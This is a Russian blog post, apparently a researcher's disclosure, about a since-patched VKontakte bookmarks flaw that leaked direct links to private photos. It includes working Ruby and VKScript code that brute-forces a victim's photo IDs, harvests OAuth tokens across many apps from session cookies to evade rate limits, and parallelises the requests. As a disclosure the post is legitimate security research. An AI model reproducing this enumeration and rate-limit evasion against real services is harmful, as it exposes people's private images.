Была обнаружена уязвимость в закладках ВК, которая позволяла получать прямые ссылки на приватные фотографии из личных сообщений, альбомов любого пользователя/группы. Был написан скрипт, который перебирал фотографии пользователя за определенный период и затем, через эту уязвимость получал прямые ссылки на изображения. Если коротко, то: можно было за 1 минуту получить все ваши вчерашние фотографии, за 7 минут — все фото, загруженные на прошлой неделе, за 20 минут — прошлый месяц, за 2 часа — прошлый год. Уязвимость на данный момент исправлена. Администрация ВКонтакте выплатила вознаграждение в 10к голосов.
История началась с того, как мне в личку во «Вконтакте» кинули изображение. Обычно, если вещь важная, я её загружаю в облако, но в моём случае в этом не было необходимости, и я решил воспользоваться функцией закладок «Вконтакте».
Коротко про эту функциональность: в закладки добавляются все вещи, которые юзер лайкнул; также есть функция ручного добавления ссылки на пользователя и внутренней ссылки «ВКонтакте». Последний пункт мне показался очень интересным, так как после добавления ссылки на фото я увидел его превьюшку и текст с типом добавленной сущности:
При добавлении ссылки сервер парсит её, пытается выяснить, на какую сущность она ссылается и достает информацию об этом объекте из базы. Как правило, при написании такого рода функций с множеством условий вероятность того, что разработчик что-то забудет, очень высока. Поэтому я не смог себе позволить пройти мимо и решил потратить несколько минут, чтобы немного поэкспериментировать.
В результате мне удалось кое-что найти. При добавлении ссылки на фотографию, заметку или видео, к которым нет доступа, можно было получить немного приватной информации об объекте. В случае с фото и видео — это маленькая (150x150) превьюшка, на которой довольно сложно что-либо разглядеть, у приватных заметок отображалось название. Через метод API fave.getLinks можно было получить ссылки на изображение, но опять же слишком маленького размера (75px и 130px). Так что, по сути, ничего серьезного.
Я решил зайти на мобильную версию сайта, чтобы проверить, отображается ли там всё так же, как и в обычной версии. Заглянув в код странички, я увидел это:
Да! В значении атрибута data-src_big хранилась прямая ссылка на оригинал изображения!
Таким образом, можно было получить прямую ссылку на любое изображение во «Вконтакте», вне зависимости от того, куда оно загружалось и какие настройки приватности имело. Это могло быть изображение из личных сообщений или же фотография из приватных альбомов любого пользователя/группы.
Казалось бы, на этом можно было остановиться и написать разработчикам, но мне стало интересно, возможно ли, эксплуатируя эту уязвимость, получить доступ ко всем (ну или загруженным в определенный период времени) фотографиям юзера. Основной проблемой тут, как вы понимаете, являлось то, что не всегда известна ссылка на приватную фотографию вида photoXXXXXX_XXXXXXX, которую нужно добавить в закладки. В голову пришла мысль о переборе id фотки, но я её почему-то тут же отверг как сумасшедшую. Я проверил связанные с фотографиями методы в API, посмотрел, как приложение работает с альбомами, но никаких утечек, которые могли бы мне помочь получить список с айдишками всех закрытых фоток юзера, найти не удалось. Я уже хотел было бросить эту затею, но взглянув еще раз на ссылку с фотографией, вдруг понял, что перебор таки был хорошей идеей.
Как работают фотографии в ВК
Как вы могли заменить, ссылка на фотографию photo52708106_359542386 состоит из двух частей: (id пользователя)_(какое-то непонятное число). Как же формируется вторая часть?
Увы, но, потратив два часа на эксперименты, я так этого и не понял. В 2012 году на HighLoad++ Олег Илларионов сказал несколько слов про то, как они хранят фотографии, про горизонтальный шардинг и случайный выбор сервера для загрузки, но эта информация мне ничего не дала, так как между id сервера и id фотки никакой связи не видно. Понятно, что есть некий глобальный счетчик, но там есть ещё какая-то логика… Потому что если второе число формировалось бы с помощью обычного автоинкремента, то значения айдишок фоток давно бы уже достигли огромных значений (у фб, например, на данный момент это ~700 трлн.), но у «Вконтакте» это значение всего лишь ~400 млн (хотя, судя по статистике, ежедневно пользователи загружают более 30 млн фотографий). Т.е. ясно, что цифра эта не уникальна, но при этом и не рандомная. Я написал скриптик, который прошелся по фотографиям «старых» пользователей и по полученным данным составил график того, на сколько менялась эта цифра с каждым годом:
Видно, что значения скачут в зависимости от каких-то факторов (количества серверов или новой логики?). Но суть в том, что они достаточно малы (особенно за последние 2-3 года) и очень легко вычислить диапазон id для желаемого периода времени. То есть чтобы узнать прямые ссылки на фотки юзера, допустим, за прошлый год, нужно попробовать добавить в закладки всего лишь 30 млн (от _320000000 до _350000000) различных вариаций ссылок! Ниже я описал технику перебора, которая позволила мне проделать это за считанные минуты.
Перебираем фотографии
Можно было всё это добавлять руками через интерфейс или же написать скрипт, который добавляет по одной ссылке в закладки, но это было бы скучно и долго. Скорость перебора в таком случае составила бы 3 закладки в секунду, т.к. больше трех запросов в секунду на сервер «Вконтакте» отправлять нельзя.
Ускоряем перебор x25
Чтобы хоть немного обойти ограничение в 3 запроса, я решил воспользоваться методом execute. В одном вызове этого метода возможно 25 обращений к методам API.
var start = parseInt(Args.start);
var end = parseInt(Args.end);
var victimId = Args.id;
var link = "http://vk.com/photo" + victimId + "_";
while(start != end) {
API.fave.addLink({ "link": link + start });
start = start + 1;
};
Тем самым удалось повысить скорость брутфорса до 3*25 закладок/сек. За прошлый год фотографии перебирались бы долго, но вот для коротких промежутков этот метод перебора уже был довольно-таки неплох.
Ускоряем перебор x25 * количество параллельных запросов в секунду
Ограничение на количество запросов/сек действует на каждое приложение отдельно, а не на пользователя целиком. Так что ничего не мешает отправлять параллельно много запросов, но при этом используя в них токены от разных приложений.
Для начала нужно было найти (или создать) нужное количество приложений. Был написан скрипт, который ищет standalone приложения в заданном интервале идентификаторов приложений:
class StandaloneAppsFinder
attr_reader :app_ids
def initialize(params)
@range = params[:in_range]
@app_ids = []
end
def search
(@range).each do |app_id|
response = open("http://ift.tt/1EGrgWc}").read
app = JSON.parse(response)['response']
app_ids << app_id if standalone?(app)
end
end
private
def standalone?(app_data)
app_data['type'] == 'standalone'
end
end
Можно было еще отбирать приложения по количеству пользователей, дабы еще больше ускорить дальнейший перебор:
Если приложение установило меньше 10 000 человек, то можно совершать 5 запросов в секунду, до 100 000 – 8 запросов, до 1 000 000 – 20 запросов, больше 1 млн. – 35 запросов в секунду.
[Ограничения и рекомендации]
Но решил с этим не заморачиваться.
Ок, приложения найдены, теперь им нужно дать разрешение к данным нашего пользователя и получить токены. Для авторизации пришлось использовать механизм Implicit Flow. Пришлось парсить урл авторизации из диалога OAuth и после редиректа вытаскивать токен. Для работы данного класса нужны куки p,l (login.vk.com) и remixsid (vk.com):
class Authenticator
attr_reader :access_tokens
def initialize(cookie_header)
@cookies = { 'Cookie' => cookie_header }
@access_tokens = []
end
def authorize_apps(apps)
apps.each do |app_id|
auth_url = extract_auth_url_from(oauth_page(app_id))
redirect_url = open(auth_url, @cookies).base_uri.to_s
access_tokens << extract_token_from(redirect_url)
end
end
private
def extract_auth_url_from(oauth_page_html)
Nokogiri::HTML(oauth_page_html).css('form').attr('action').value
end
def extract_token_from(url)
URI(url).fragment[13..97]
end
def oauth_page(app_id)
open(oauth_page_url(app_id), @cookies).read
end
def oauth_page_url(app_id)
"http://ift.tt/1k0MF69?" +
"client_id=#{app_id}&" +
"response_type=token&" +
"display=mobile&" +
"scope=474367"
end
end
Сколько приложений найдено, столько и параллельных запросов. Для распараллеливания всего этого дела было решено использовать гем Typhoeus, который отлично зарекомендовал себя в других задачах. Получился такой вот небольшой брутфорсер:
class PhotosBruteforcer
PHOTOS_ID_BY_PERIOD = {
'today' => 366300000..366500000,
'yesterday' => 366050000..366300000,
'current_month' => 365000000..366500000,
'last_month' => 360000000..365000000,
'current_year' => 350000000..366500000,
'last_year' => 320000000..350000000
}
def initialize(params)
@victim_id = params[:victim_id]
@period = PHOTOS_ID_BY_PERIOD[params[:period]]
end
def run(tokens)
hydra = Typhoeus::Hydra.new
tokensIterator = 0
(@period).step(25) do |photo_id|
url = "http://ift.tt/1FmsbAB}"
encoded_url = URI.escape(url).gsub('+', '%2B').delete("\n")
tokensIterator = tokensIterator == tokens.count - 1 ? 0 : tokensIterator + 1
hydra.queue Typhoeus::Request.new encoded_url
hydra.run if tokensIterator.zero?
end
hydra.run unless hydra.queued_requests.count.zero?
end
private
def vkscript(photo_id)
<<-VKScript
var start = #{photo_id};
var end = #{photo_id + 25};
var link = "http://ift.tt/1EGrhcs}" + "_";
while(start != end) {
API.fave.addLink({ "link": link + start });
start = start + 1;
};
return start;
VKScript
end
end
Чтобы ещё больше ускорить брутфорс, была попытка избавиться от ненужного тела в ответе, но на HEAD запрос сервер «Вконтакте» возвращает ошибку 501 Not implemented.
Окончательная версия скрипта выглядит так:
require 'nokogiri'
require 'open-uri'
require 'typhoeus'
require 'json'
require './standalone_apps_finder'
require './photos_bruteforcer'
require './authenticator'
bruteforcer = PhotosBruteforcer.new(victim_id: ARGV[0], period: ARGV[1])
apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500)
apps_finder.search
# p,l - cookies from login.vk.com
# remixsid - cookie from vk.com
authenticator = Authenticator.new(
'p=;' +
'l=;' +
'remixsid=;'
)
authenticator.authorize_apps(apps_finder.app_ids)
bruteforcer.run(authenticator.access_tokens)
После отработки программы в закладках были все фотографии пользователя за заданный период. Оставалось только зайти в мобильную версию «Вконтакте», открыть консоль браузера, вытащить прямые ссылки и наслаждаться фотографиями в их оригинальном размере.
Итоги
В целом, всё зависит от вашего интернет соединения и скорости прокси серверов, латенси серверов «Вконтакте», мощности процессора и множества других факторов. Опробовав скрипт выше на своем аккаунте, получил такие вот цифры (без учета времени, потраченного на получение токенов):
Период | Время (минуты) |
---|---|
Вчера | 0.84 |
Прошлая неделя | 6.9 |
Прошлый месяц | 18.3 |
Прошлый год | 121.1 |
3 последних года | 312.5 |
В таблице показано среднее время, необходимое для того, чтобы перепробовать id фотографий за определенный период. Я уверен, всё это можно было ускорить раз так в 10-20. Например, в скрипте брутфорса сделать одну большую очередь из всех запросов и нормальную синхронизацию между ними, т.к. в моей реализации один запрос с timeout будет тормозить весь процесс. Да и вообще, можно было просто купить парочку инстансов на EC2, и за часик получить все фотографии какого угодно пользователя. Но я уже хотел спать.
Да и вообще, не важно, сколько времени злоумышленник на это потратит, 5 часов или же целый день, ведь так или иначе ссылки на приватные изображения он добудет. Возможность железно получить доступ к приватной информации за конечное время – и есть главная угроза, которую несёт данная уязвимость.
Сообщаем об уязвимости
Сначала репорт был отправлен службе поддержки, но после ответа вида «спасибо, как-нибудь пофиксим наверное…» и недели ожидания, мне что-то стало грустно. Большое спасибо Bo0oM, который помог связаться с разработчиками напрямую. После этого баги закрыли в течение нескольких часов, а через несколько дней на мой счёт администрация перевела вознаграждение в размере 10к голосов.
Целенаправленно исследованием ВК я никогда не занимался, но после такого, почти случайного обнаружения этой уязвимости серьезно начал задумываться о том, чтобы потратить несколько часиков на полноценный аудит этой социальной сети. У «ВКонтакте» нет официальной баг баунти программы, поэтому whitehat ресерчеры обходят этот сайт стороной, а другие, менее «белые» хакеры, просто тихо пользуются ошибками в своих целях, либо продают их. Так что, думаю, ещё парочку подобных уязвимостей в ВК можно найти.
Всем добра!
This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.
Комментариев нет:
Отправить комментарий